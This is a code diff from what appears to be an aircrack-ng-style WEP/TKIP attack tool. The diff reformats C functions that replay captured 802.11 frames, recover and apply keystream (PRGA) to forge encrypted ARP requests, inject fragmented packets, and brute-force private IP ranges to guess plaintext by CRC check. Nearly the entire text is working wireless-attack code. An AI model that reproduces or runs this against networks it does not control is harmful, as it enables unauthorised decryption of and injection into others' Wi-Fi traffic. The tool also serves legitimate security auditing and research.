-            }
-
-            tv.tv_sec  = pkh.tv_sec;
-            tv.tv_usec = pkh.tv_usec;
-
-            n = *caplen = pkh.caplen;
-
-            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
-            {
-                printf( "\r\33[KInvalid packet length %d.\n", n );
-                return( 1 );
-            }
-
-            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
-            {
-                printf( "\r\33[KEnd of file.\n" );
-                return( 1 );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
-            {
-                if( h80211[7] == 0x40 )
-                    n = 64;
-                else
-                    n = *(int *)( h80211 + 4 );
-
-                if( n < 8 || n >= (int) *caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, *caplen );
-                *caplen -= n;
-                memcpy( h80211, tmpbuf + n, *caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
-            {
-                /* remove the radiotap header */
-
-                n = *(unsigned short *)( h80211 + 2 );
-
-                if( n <= 0 || n >= (int) *caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, *caplen );
-                *caplen -= n;
-                memcpy( h80211, tmpbuf + n, *caplen );
-            }
-
-            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
-            {
-                /* remove the PPI header */
-
-                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
-
-                if( n <= 0 || n>= (int) *caplen )
-                    continue;
-
-                /* for a while Kismet logged broken PPI headers */
-                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
-                    n = 32;
-
-                if( n <= 0 || n>= (int) *caplen )
-                    continue;
-
-                memcpy( tmpbuf, h80211, *caplen );
-                *caplen -= n;
-                memcpy( h80211, tmpbuf + n, *caplen );
-            }
-        }
-
-        nb_pkt_read++;
-
-        if( filter_packet( h80211, *caplen ) != 0 )
-            continue;
-
-        if(opt.fast)
-            break;
-
-        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-        if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-            z+=2;
-
-        switch( h80211[1] & 3 )
-        {
-            case  0: mi_b = 16; mi_s = 10; mi_d =  4; is_wds = 0; break;
-            case  1: mi_b =  4; mi_s = 10; mi_d = 16; is_wds = 0; break;
-            case  2: mi_b = 10; mi_s = 16; mi_d =  4; is_wds = 0; break;
-            case  3: mi_t = 10; mi_r =  4; mi_d = 16; mi_s = 24; is_wds = 1; break;  // WDS packet
-        }
-
-        printf( "\n\n        Size: %d, FromDS: %d, ToDS: %d",
-                *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) );
-
-        if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 )
-        {
-//             if (is_wds) key_index_offset = 33; // WDS packets have an additional MAC, so the key index is at byte 33
-//             else key_index_offset = 27;
-            key_index_offset = z+3;
-
-            if( ( h80211[key_index_offset] & 0x20 ) == 0 )
-                printf( " (WEP)" );
-            else
-                printf( " (WPA)" );
-        }
-
-        printf( "\n\n" );
-
-        if (is_wds) {
-            printf( "        Transmitter  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                    h80211[mi_t    ], h80211[mi_t + 1],
-                    h80211[mi_t + 2], h80211[mi_t + 3],
-                    h80211[mi_t + 4], h80211[mi_t + 5] );
-
-            printf( "           Receiver  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                    h80211[mi_r    ], h80211[mi_r + 1],
-                    h80211[mi_r + 2], h80211[mi_r + 3],
-                    h80211[mi_r + 4], h80211[mi_r + 5] );
-        } else {
-            printf( "              BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                    h80211[mi_b    ], h80211[mi_b + 1],
-                    h80211[mi_b + 2], h80211[mi_b + 3],
-                    h80211[mi_b + 4], h80211[mi_b + 5] );
-        }
-
-        printf( "          Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                h80211[mi_d    ], h80211[mi_d + 1],
-                h80211[mi_d + 2], h80211[mi_d + 3],
-                h80211[mi_d + 4], h80211[mi_d + 5] );
-
-        printf( "         Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                h80211[mi_s    ], h80211[mi_s + 1],
-                h80211[mi_s + 2], h80211[mi_s + 3],
-                h80211[mi_s + 4], h80211[mi_s + 5] );
-
-        /* print a hex dump of the packet */
-
-        for( i = 0; i < *caplen; i++ )
-        {
-            if( ( i & 15 ) == 0 )
-            {
-                if( i == 224 )
-                {
-                    printf( "\n        --- CUT ---" );
-                    break;
-                }
-
-                printf( "\n        0x%04x:  ", i );
-            }
-
-            printf( "%02x", h80211[i] );
-
-            if( ( i & 1 ) != 0 )
-                printf( " " );
-
-            if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 )
-            {
-                for( j = ( ( i + 1 ) & 15 ); j < 16; j++ )
-                {
-                    printf( "  " );
-                    if( ( j & 1 ) != 0 )
-                        printf( " " );
-                }
-
-                printf( " " );
-
-                for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ )
-                    printf( "%c", ( h80211[i - 15 + j] <  32 ||
-                                    h80211[i - 15 + j] > 126 )
-                                  ? '.' : h80211[i - 15 + j] );
-            }
-
-            if( i > 0 && ( ( i + 1 ) & 15 ) == 0 )
-            {
-                printf( " " );
-
-                for( j = 0; j < 16; j++ )
-                    printf( "%c", ( h80211[i - 15 + j] <  32 ||
-                                    h80211[i - 15 + j] > 127 )
-                                  ? '.' : h80211[i - 15 + j] );
-            }
-        }
-
-        printf( "\n\nUse this packet ? " );
-        fflush( stdout );
-        ret=0;
-        while(!ret) ret = scanf( "%s", tmpbuf );
-        printf( "\n" );
+			if (*caplen < 0) return (1);
+			if (*caplen == 0) continue;
+		}
+		else
+		{
+			/* there are no hidden backdoors in this source code */
+
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				printf("\r");
+				erase_line(0);
+				printf("End of file.\n");
+				return (1);
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			tv.tv_sec = pkh.tv_sec;
+			tv.tv_usec = pkh.tv_usec;
+
+			n = *caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
+			{
+				printf("\r");
+				erase_line(0);
+				printf("Invalid packet length %d.\n", n);
+				return (1);
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				printf("\r");
+				erase_line(0);
+				printf("End of file.\n");
+				return (1);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4);
+
+				if (n < 8 || n >= (int) *caplen) continue;
+
+				memcpy(tmpbuf, h80211, *caplen);
+				*caplen -= n;
+				memcpy(h80211, tmpbuf + n, *caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) *caplen) continue;
+
+				memcpy(tmpbuf, h80211, *caplen);
+				*caplen -= n;
+				memcpy(h80211, tmpbuf + n, *caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= (int) *caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				if (n <= 0 || n >= (int) *caplen) continue;
+
+				memcpy(tmpbuf, h80211, *caplen);
+				*caplen -= n;
+				memcpy(h80211, tmpbuf + n, *caplen);
+			}
+		}
 
-        if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' )
-            break;
-    }
+		nb_pkt_read++;
 
-    if(!just_grab)
-    {
-        pfh_out.magic         = TCPDUMP_MAGIC;
-        pfh_out.version_major = PCAP_VERSION_MAJOR;
-        pfh_out.version_minor = PCAP_VERSION_MINOR;
-        pfh_out.thiszone      = 0;
-        pfh_out.sigfigs       = 0;
-        pfh_out.snaplen       = 65535;
-        pfh_out.linktype      = LINKTYPE_IEEE802_11;
-
-        lt = localtime( (const time_t *) &tv.tv_sec );
-
-        memset( strbuf, 0, sizeof( strbuf ) );
-        snprintf( strbuf,  sizeof( strbuf ) - 1,
-                "replay_src-%02d%02d-%02d%02d%02d.cap",
-                lt->tm_mon + 1, lt->tm_mday,
-                lt->tm_hour, lt->tm_min, lt->tm_sec );
-
-        printf( "Saving chosen packet in %s\n", strbuf );
-
-        if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
-        {
-            perror( "fopen failed" );
-            return( 1 );
-        }
-
-        n = sizeof( struct pcap_file_header );
-
-        if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
-        {
-        	fclose(f_cap_out);
-            perror( "fwrite failed\n" );
-            return( 1 );
-        }
-
-        pkh.tv_sec  = tv.tv_sec;
-        pkh.tv_usec = tv.tv_usec;
-        pkh.caplen  = *caplen;
-        pkh.len     = *caplen;
-
-        n = sizeof( pkh );
-
-        if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
-        {
-        	fclose(f_cap_out);
-            perror( "fwrite failed" );
-            return( 1 );
-        }
-
-        n = pkh.caplen;
-
-        if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
-        {
-        	fclose(f_cap_out);
-            perror( "fwrite failed" );
-            return( 1 );
-        }
+		if (filter_packet(h80211, *caplen) != 0) continue;
 
-        fclose( f_cap_out );
-    }
+		if (opt.fast) break;
 
-    return( 0 );
-}
+		z = ((h80211[1] & 3) != 3) ? 24 : 30;
+		if ((h80211[0] & 0x80) == 0x80) /* QoS */
+			z += 2;
+
+		switch (h80211[1] & 3)
+		{
+			case 0:
+				mi_b = 16;
+				mi_s = 10;
+				mi_d = 4;
+				is_wds = 0;
+				break;
+			case 1:
+				mi_b = 4;
+				mi_s = 10;
+				mi_d = 16;
+				is_wds = 0;
+				break;
+			case 2:
+				mi_b = 10;
+				mi_s = 16;
+				mi_d = 4;
+				is_wds = 0;
+				break;
+			case 3:
+				mi_t = 10;
+				mi_r = 4;
+				mi_d = 16;
+				mi_s = 24;
+				is_wds = 1;
+				break; // WDS packet
+		}
 
-int read_prga(unsigned char **dest, char *file)
-{
-    FILE *f;
-    int size;
+		printf("\n\n        Size: %d, FromDS: %d, ToDS: %d",
+			   *caplen,
+			   (h80211[1] & 2) >> 1,
+			   (h80211[1] & 1));
+
+		if ((h80211[0] & 0x0C) == 8 && (h80211[1] & 0x40) != 0)
+		{
+			//             if (is_wds) key_index_offset = 33; // WDS packets
+			//             have an additional MAC, so the key index is at byte
+			//             33
+			//             else key_index_offset = 27;
+			key_index_offset = z + 3;
+
+			if ((h80211[key_index_offset] & 0x20) == 0)
+				printf(" (WEP)");
+			else
+				printf(" (WPA)");
+		}
 
-    if(file == NULL) return( 1 );
-    if(*dest == NULL) *dest = (unsigned char*) malloc(1501);
+		printf("\n\n");
 
-    f = fopen(file, "r");
+		if (is_wds)
+		{
+			printf("        Transmitter  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+				   h80211[mi_t],
+				   h80211[mi_t + 1],
+				   h80211[mi_t + 2],
+				   h80211[mi_t + 3],
+				   h80211[mi_t + 4],
+				   h80211[mi_t + 5]);
+
+			printf("           Receiver  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+				   h80211[mi_r],
+				   h80211[mi_r + 1],
+				   h80211[mi_r + 2],
+				   h80211[mi_r + 3],
+				   h80211[mi_r + 4],
+				   h80211[mi_r + 5]);
+		}
+		else
+		{
+			printf("              BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+				   h80211[mi_b],
+				   h80211[mi_b + 1],
+				   h80211[mi_b + 2],
+				   h80211[mi_b + 3],
+				   h80211[mi_b + 4],
+				   h80211[mi_b + 5]);
+		}
 
-    if(f == NULL)
-    {
-         printf("Error opening %s\n", file);
-         return( 1 );
-    }
+		printf("          Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   h80211[mi_d],
+			   h80211[mi_d + 1],
+			   h80211[mi_d + 2],
+			   h80211[mi_d + 3],
+			   h80211[mi_d + 4],
+			   h80211[mi_d + 5]);
+
+		printf("         Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   h80211[mi_s],
+			   h80211[mi_s + 1],
+			   h80211[mi_s + 2],
+			   h80211[mi_s + 3],
+			   h80211[mi_s + 4],
+			   h80211[mi_s + 5]);
+
+		/* print a hex dump of the packet */
+
+		for (i = 0; i < *caplen; i++)
+		{
+			if ((i & 15) == 0)
+			{
+				if (i == 224)
+				{
+					printf("\n        --- CUT ---");
+					break;
+				}
+
+				printf("\n        0x%04x:  ", i);
+			}
+
+			printf("%02x", h80211[i]);
+
+			if ((i & 1) != 0) printf(" ");
+
+			if (i == *caplen - 1 && ((i + 1) & 15) != 0)
+			{
+				for (j = ((i + 1) & 15); j < 16; j++)
+				{
+					printf("  ");
+					if ((j & 1) != 0) printf(" ");
+				}
+
+				printf(" ");
+
+				for (j = 16 - ((i + 1) & 15); j < 16; j++)
+					printf("%c",
+						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126)
+							   ? '.'
+							   : h80211[i - 15 + j]);
+			}
+
+			if (i > 0 && i < INT_MAX && ((i + 1) & 15) == 0)
+			{
+				printf(" ");
+
+				for (j = 0; j < 16; j++)
+					printf("%c",
+						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127)
+							   ? '.'
+							   : h80211[i - 15 + j]);
+			}
+		}
 
-    fseek(f, 0, SEEK_END);
-    size = ftell(f);
-    rewind(f);
+		printf("\n\nUse this packet ? ");
+		fflush(stdout);
+		ret = 0;
+		while (!ret) ret = scanf("%1s", tmpbuf);
+		printf("\n");
 
-    if(size > 1500) size = 1500;
+		if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y') break;
+	}
 
-    if( fread( (*dest), size, 1, f ) != 1 )
-    {
-    	fclose(f);
-        fprintf( stderr, "fread failed\n" );
-        return( 1 );
-    }
+	if (!just_grab)
+	{
+		pfh_out.magic = TCPDUMP_MAGIC;
+		pfh_out.version_major = PCAP_VERSION_MAJOR;
+		pfh_out.version_minor = PCAP_VERSION_MINOR;
+		pfh_out.thiszone = 0;
+		pfh_out.sigfigs = 0;
+		pfh_out.snaplen = 65535;
+		pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+		lt = localtime((const time_t *) &tv.tv_sec);
+
+		memset(strbuf, 0, sizeof(strbuf));
+		snprintf(strbuf,
+				 sizeof(strbuf) - 1,
+				 "replay_src-%02d%02d-%02d%02d%02d.cap",
+				 lt->tm_mon + 1,
+				 lt->tm_mday,
+				 lt->tm_hour,
+				 lt->tm_min,
+				 lt->tm_sec);
+
+		printf("Saving chosen packet in %s\n", strbuf);
+
+		if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+		{
+			perror("fopen failed");
+			return (1);
+		}
 
-    opt.prgalen = size;
+		n = sizeof(struct pcap_file_header);
 
-    fclose(f);
-    return( 0 );
-}
+		if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+		{
+			fclose(f_cap_out);
+			perror("fwrite failed\n");
+			return (1);
+		}
 
-void add_icv(unsigned char *input, int len, int offset)
-{
-    unsigned long crc = 0xFFFFFFFF;
-    int n=0;
+		pkh.tv_sec = tv.tv_sec;
+		pkh.tv_usec = tv.tv_usec;
+		pkh.caplen = *caplen;
+		pkh.len = *caplen;
+
+		n = sizeof(pkh);
+
+		if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+		{
+			fclose(f_cap_out);
+			perror("fwrite failed");
+			return (1);
+		}
 
-    for( n = offset; n < len; n++ )
-        crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);
+		n = pkh.caplen;
 
-    crc = ~crc;
+		if (fwrite(h80211, n, 1, f_cap_out) != 1)
+		{
+			fclose(f_cap_out);
+			perror("fwrite failed");
+			return (1);
+		}
 
-    input[len]   = (crc      ) & 0xFF;
-    input[len+1] = (crc >>  8) & 0xFF;
-    input[len+2] = (crc >> 16) & 0xFF;
-    input[len+3] = (crc >> 24) & 0xFF;
+		fclose(f_cap_out);
+	}
 
-    return;
+	return (0);
 }
 
-void send_fragments(unsigned char *packet, int packet_len, unsigned char *iv, unsigned char *keystream, int fragsize, int ska)
+static int read_prga(unsigned char ** dest, char * file)
 {
-    int t, u;
-    int data_size;
-    unsigned char frag[32+fragsize];
-    int pack_size;
-    int header_size=24;
-
-    data_size = packet_len-header_size;
-    packet[23] = (rand() % 0xFF);
-
-    for (t=0; t+=fragsize;)
-    {
+	FILE * f;
+	int size;
 
-    //Copy header
-        memcpy(frag, packet, header_size);
+	if (file == NULL) return (1);
+	if (*dest == NULL) *dest = (unsigned char *) malloc(1501);
 
-    //Copy IV + KeyIndex
-        memcpy(frag+header_size, iv, 4);
-
-    //Copy data
-        if(fragsize <= packet_len-(header_size+t-fragsize))
-            memcpy(frag+header_size+4, packet+header_size+t-fragsize, fragsize);
-        else
-            memcpy(frag+header_size+4, packet+header_size+t-fragsize, packet_len-(header_size+t-fragsize));
-
-    //Make ToDS frame
-        if(!ska)
-        {
-            frag[1] |= 1;
-            frag[1] &= 253;
-        }
-
-    //Set fragment bit
-        if (t< data_size) frag[1] |= 4;
-        if (t>=data_size) frag[1] &= 251;
-
-    //Fragment number
-        frag[22] = 0;
-        for (u=t; u-=fragsize;)
-        {
-            frag[22] += 1;
-        }
-//        frag[23] = 0;
-
-    //Calculate packet lenght
-        if(fragsize <= packet_len-(header_size+t-fragsize))
-            pack_size = header_size + 4 + fragsize;
-        else
-            pack_size = header_size + 4 + (packet_len-(header_size+t-fragsize));
-
-    //Add ICV
-        add_icv(frag, pack_size, header_size + 4);
-        pack_size += 4;
-
-    //Encrypt
-        xor_keystream(frag + header_size + 4, keystream, fragsize+4);
-
-    //Send
-        send_packet(frag, pack_size);
-        if (t<data_size)usleep(100);
-
-        if (t>=data_size) break;
-    }
+	f = fopen(file, "r");
 
-}
+	if (f == NULL)
+	{
+		printf("Error opening %s\n", file);
+		return (1);
+	}
 
-int set_clear_arp(unsigned char *buf, unsigned char *smac, unsigned char *dmac) //set first 22 bytes
-{
-    if(buf == NULL)
-        return -1;
+	fseek(f, 0, SEEK_END);
+	size = ftell(f);
+	rewind(f);
+
+	if (size > 1500) size = 1500;
+
+	if (fread((*dest), size, 1, f) != 1)
+	{
+		fclose(f);
+		fprintf(stderr, "fread failed\n");
+		return (1);
+	}
 
-    memcpy(buf, S_LLC_SNAP_ARP, 8);
-    buf[8]  = 0x00;
-    buf[9]  = 0x01; //ethernet
-    buf[10] = 0x08; // IP
-    buf[11] = 0x00;
-    buf[12] = 0x06; //hardware size
-    buf[13] = 0x04; //protocol size
-    buf[14] = 0x00;
-    if(memcmp(dmac, BROADCAST, 6) == 0)
-        buf[15]  = 0x01; //request
-    else
-        buf[15]  = 0x02; //reply
-    memcpy(buf+16, smac, 6);
+	opt.prgalen = size;
 
-    return 0;
+	fclose(f);
+	return (0);
 }
 
-int build_arp_request(unsigned char* packet, int *length, int toDS)
+static void add_icv(unsigned char * input, int len, int offset)
 {
-    int i;
-    unsigned char buf[128];
-
-    packet[0] = 0x88; //QoS Data
-    if(toDS) packet[1] = 0x41;  //encrypted to/fromDS
-    else     packet[1] = 0x42;
-    packet[2] = 0x2c;
-    packet[3] = 0x00;
-    if(toDS)
-    {
-        memcpy(packet+4,  opt.f_bssid, 6);
-        memcpy(packet+10, opt.r_smac, 6);
-        memcpy(packet+16, opt.r_apmac, 6);
-    }
-    else
-    {
-        memcpy(packet+4,  opt.r_smac, 6);
-        memcpy(packet+10, opt.f_bssid, 6);
-        memcpy(packet+16, opt.r_apmac, 6);
-    }
-
-    packet[22] = 0xD0;  //fragment 0
-    packet[23] = 0xB4;
-    if(toDS)
-        packet[24] = 0x01;  //priority 1
-    else
-        packet[24] = 0x02;  //priority 2
-    packet[25] = 0x00;
-
-    if(toDS)
-        set_clear_arp(packet+26, opt.r_smac, BROADCAST);
-    else
-        set_clear_arp(packet+26, opt.r_apmac, BROADCAST);
-
-    if(toDS)
-        memcpy(packet+26+22, opt.ip_cli, 4);
-    else
-        memcpy(packet+26+22, opt.ip_ap, 4);
-
-    if(toDS)
-        memcpy(packet+26+26, BROADCAST, 6);
-    else
-        memcpy(packet+26+26, BROADCAST, 6);
-
-    if(toDS)
-        memcpy(packet+26+32, opt.ip_ap, 4);
-    else
-        memcpy(packet+26+32, opt.ip_cli, 4);
-
-    *length = 26+36;
+	unsigned long crc = 0xFFFFFFFF;
+	int n = 0;
 
-    calc_tkip_mic(packet, *length, opt.ptk, packet+(*length));
+	for (n = offset; n < len; n++)
+		crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);
 
-    *length += 8;
+	crc = ~crc;
 
-    memcpy(buf, packet+26, (*length) - 26);
-    memcpy(packet+26+8, buf, (*length) - 26);
+	input[len] = (crc) &0xFF;
+	input[len + 1] = (crc >> 8) & 0xFF;
+	input[len + 2] = (crc >> 16) & 0xFF;
+	input[len + 3] = (crc >> 24) & 0xFF;
 
-    if(toDS)
-        memcpy(packet+26, opt.chopped_to_prga, 8);      //set IV&extIV for a toDS frame
-    else
-        memcpy(packet+26, opt.chopped_from_prga, 8);    //set IV&extIV for a fromDS frame
-
-    (*length)+=8;
-
-    add_icv(packet, *length, 26+8);
-
-    (*length) += 4;
-
-    if(toDS)
-    {
-        if(opt.chopped_to_prga_len-8 < *length - 26-8)
-            return 1;
-
-        for(i=0; i<*length-26-8; i++)
-            packet[26+8+i] ^= opt.chopped_to_prga[8+i];
-    }
-    else
-    {
-        if(opt.chopped_from_prga_len-8 < *length - 26-8)
-            return 1;
-
-        for(i=0; i<*length-26-8; i++)
-            packet[26+8+i] ^= opt.chopped_from_prga[8+i];
-    }
-    return 0;
+	return;
 }
 
-int set_clear_ip(unsigned char *buf, int ip_len) //set first 9 bytes
+static int set_clear_arp(unsigned char * buf,
+						 unsigned char * smac,
+						 unsigned char * dmac) // set first 22 bytes
 {
-    if(buf == NULL)
-        return -1;
+	if (buf == NULL) return -1;
 
-    memcpy(buf, S_LLC_SNAP_IP, 8);
-    buf[8]  = 0x45;
-    buf[10] = (ip_len >> 8)  & 0xFF;
-    buf[11] = ip_len & 0xFF;
-
-    return 0;
-}
+	memcpy(buf, S_LLC_SNAP_ARP, 8);
+	buf[8] = 0x00;
+	buf[9] = 0x01; // ethernet
+	buf[10] = 0x08; // IP
+	buf[11] = 0x00;
+	buf[12] = 0x06; // hardware size
+	buf[13] = 0x04; // protocol size
+	buf[14] = 0x00;
+	if (memcmp(dmac, BROADCAST, 6) == 0)
+		buf[15] = 0x01; // request
+	else
+		buf[15] = 0x02; // reply
+	memcpy(buf + 16, smac, 6);
 
-void dump_packet(unsigned char* packet, int len)
-{
-    int i=0;
-
-    for(i=0; i<len; i++)
-    {
-        if(i>0 && i%4 == 0)printf(" ");
-        if(i>0 && i%16 == 0)printf("\n");
-        printf("%02X ", packet[i]);
-    }
-    printf("\n\n");
+	return 0;
 }
 
-int check_guess(unsigned char *srcbuf, unsigned char *chopped, int caplen, int clearlen, unsigned char *arp, unsigned char *dmac)
+static int build_arp_request(unsigned char * packet, int * length, int toDS)
 {
-    int i, j, z, pos;
-
-    z = ( ( srcbuf[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( ( srcbuf[0] & 0x80 ) == 0x80 ) /* QoS */
-        z+=2;
-
-//     if(arp[22] == 192 && arp[23] == 168 && arp[24] == 178 && arp[25] == 1)
-//     {
-//         printf("Source: %i.%i.%i.%i; Dest: %i.%i.%i.%i\n",
-//                 arp[22], arp[23], arp[24], arp[25], arp[32], arp[33], arp[34], arp[35] );
-//     }
-
-    pos = caplen-z-8-clearlen;
-    for(i=0; i<clearlen; i++)
-    {
-        arp[pos+i] = srcbuf[z+8+pos+i] ^ chopped[z+8+pos+i];
-    }
-    for(j=1; j<3; j++)
-    {
-        arp[15] = j;
+	int i;
+	unsigned char buf[128];
 
-        memcpy(arp+26, ZERO, 6);
-        if (check_crc_buf( arp, caplen-z-8-4) == 1)
-        {
-            for(i=0; i<pos; i++)
-            {
-                chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i];
-            }
-            return 1;
-        }
-
-        memcpy(arp+26, BROADCAST, 6);
-        if (check_crc_buf( arp, caplen-z-8-4) == 1)
-        {
-            for(i=0; i<pos; i++)
-            {
-                chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i];
-            }
-            return 1;
-        }
-
-        memcpy(arp+26, dmac, 6);
-        if (check_crc_buf( arp, caplen-z-8-4) == 1)
-        {
-            for(i=0; i<pos; i++)
-            {
-                chopped[z+8+i] = srcbuf[z+8+i] ^ arp[i];
-            }
-            return 1;
-        }
-    }
-    return 0;
-}
-
-int guess_packet(unsigned char *srcbuf, unsigned char *chopped, int caplen, int clearlen)
-{
-    int i,j,k,l,z, len;
-    unsigned char smac[6], dmac[6], bssid[6];
+	packet[0] = 0x88; // QoS Data
+	if (toDS)
+		packet[1] = 0x41; // encrypted to/fromDS
+	else
+		packet[1] = 0x42;
+	packet[2] = 0x2c;
+	packet[3] = 0x00;
+	if (toDS)
+	{
+		memcpy(packet + 4, opt.f_bssid, 6);
+		memcpy(packet + 10, opt.r_smac, 6);
+		memcpy(packet + 16, opt.r_apmac, 6);
+	}
+	else
+	{
+		memcpy(packet + 4, opt.r_smac, 6);
+		memcpy(packet + 10, opt.f_bssid, 6);
+		memcpy(packet + 16, opt.r_apmac, 6);
+	}
 
-    unsigned char *ptr, *psmac, *psip, *pdmac, *pdip;
-    unsigned char arp[4096];
+	packet[22] = 0xD0; // fragment 0
+	packet[23] = 0xB4;
+	if (toDS)
+		packet[24] = 0x01; // priority 1
+	else
+		packet[24] = 0x02; // priority 2
+	packet[25] = 0x00;
 
-    z = ( ( srcbuf[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( ( srcbuf[0] & 0x80 ) == 0x80 ) /* QoS */
-        z+=2;
+	if (toDS)
+		set_clear_arp(packet + 26, opt.r_smac, BROADCAST);
+	else
+		set_clear_arp(packet + 26, opt.r_apmac, BROADCAST);
 
-    if(caplen-z-8 - clearlen > 36)  //too many unknown bytes
-        return 1;
+	if (toDS)
+		memcpy(packet + 26 + 22, opt.ip_cli, 4);
+	else
+		memcpy(packet + 26 + 22, opt.ip_ap, 4);
 
-    printf("%i bytes still unknown\n", caplen-z-8 - clearlen);
+	memcpy(packet + 26 + 26, BROADCAST, 6);
 
-    switch( srcbuf[1] & 3 )
-    {
-        case  0:
-            memcpy( bssid, srcbuf + 16, 6 );
-            memcpy( dmac, srcbuf + 4, 6 );
-            memcpy( smac, srcbuf + 10, 6 );
-            break;
-        case  1:
-            memcpy( bssid, srcbuf + 4, 6 );
-            memcpy( dmac, srcbuf + 16, 6 );
-            memcpy( smac, srcbuf + 10, 6 );
-            break;
-        case  2:
-            memcpy( bssid, srcbuf + 10, 6 );
-            memcpy( dmac, srcbuf + 4, 6 );
-            memcpy( smac, srcbuf + 16, 6 );
-            break;
-        default:
-            memcpy( bssid, srcbuf + 10, 6 );
-            memcpy( dmac, srcbuf + 16, 6 );
-            memcpy( smac, srcbuf + 24, 6 );
-            break;
-    }
+	if (toDS)
+		memcpy(packet + 26 + 32, opt.ip_ap, 4);
+	else
+		memcpy(packet + 26 + 32, opt.ip_cli, 4);
 
-    ptr = arp;
-    psmac = arp+16;
-    pdmac = arp+26;
-    psip  = arp+22;
-    pdip  = arp+32;
-
-    len = sizeof(S_LLC_SNAP_ARP) - 1;
-    memcpy(ptr, S_LLC_SNAP_ARP, len);
-    ptr += len;
-
-    /* arp hdr */
-    len = 6;
-    memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
-    ptr += len;
-
-    /* type of arp */
-    len = 2;
-    if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) == 0)
-            memcpy(ptr, "\x00\x01", len);
-    else
-            memcpy(ptr, "\x00\x02", len);
-    ptr += len;
-
-    /* src mac */
-    len = 6;
-    memcpy(ptr, smac, len);
-    ptr += len;
+	*length = 26 + 36;
 
-    /* dmac */
-    if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) != 0)
-    {
-        printf("ARP Reply\n");
-        memcpy(pdmac, dmac, 6);
-    }
-    else
-    {
-        printf("ARP Request\n");
-        memcpy(pdmac, ZERO, 6);
-    }
+	calc_tkip_mic(packet, *length, opt.ptk, packet + (*length));
 
-    if(caplen-z-8 - clearlen == 36)
-    {
-        printf("Checking 192.168.x.y\n");
-        /* check 192.168.i.1-254 */
-        for(i=0; i<256; i++)
-        {
-            for(j=1; j<255; j++)
-            {
-                for(k=1; k<255; k++)
-                {
-                    psip[0] = 192;
-                    psip[1] = 168;
-                    psip[2] = i;
-                    psip[3] = j;
-
-                    pdip[0] = 192;
-                    pdip[1] = 168;
-                    pdip[2] = i;
-                    pdip[3] = k;
-
-                    if( check_guess(srcbuf, chopped, caplen, clearlen, arp, dmac) ) //got correct guess
-                        return 0;
-                }
-            }
-        }
-
-        printf("Checking 10.0.y.z\n");
-        /* check 10.i.j.1-254 */
-        for(j=0; j<256; j++)
-        {
-            for(k=1; k<255; k++)
-            {
-                for(l=1; l<255; l++)
-                {
-                    psip[0] = 10;
-                    psip[1] = 0;
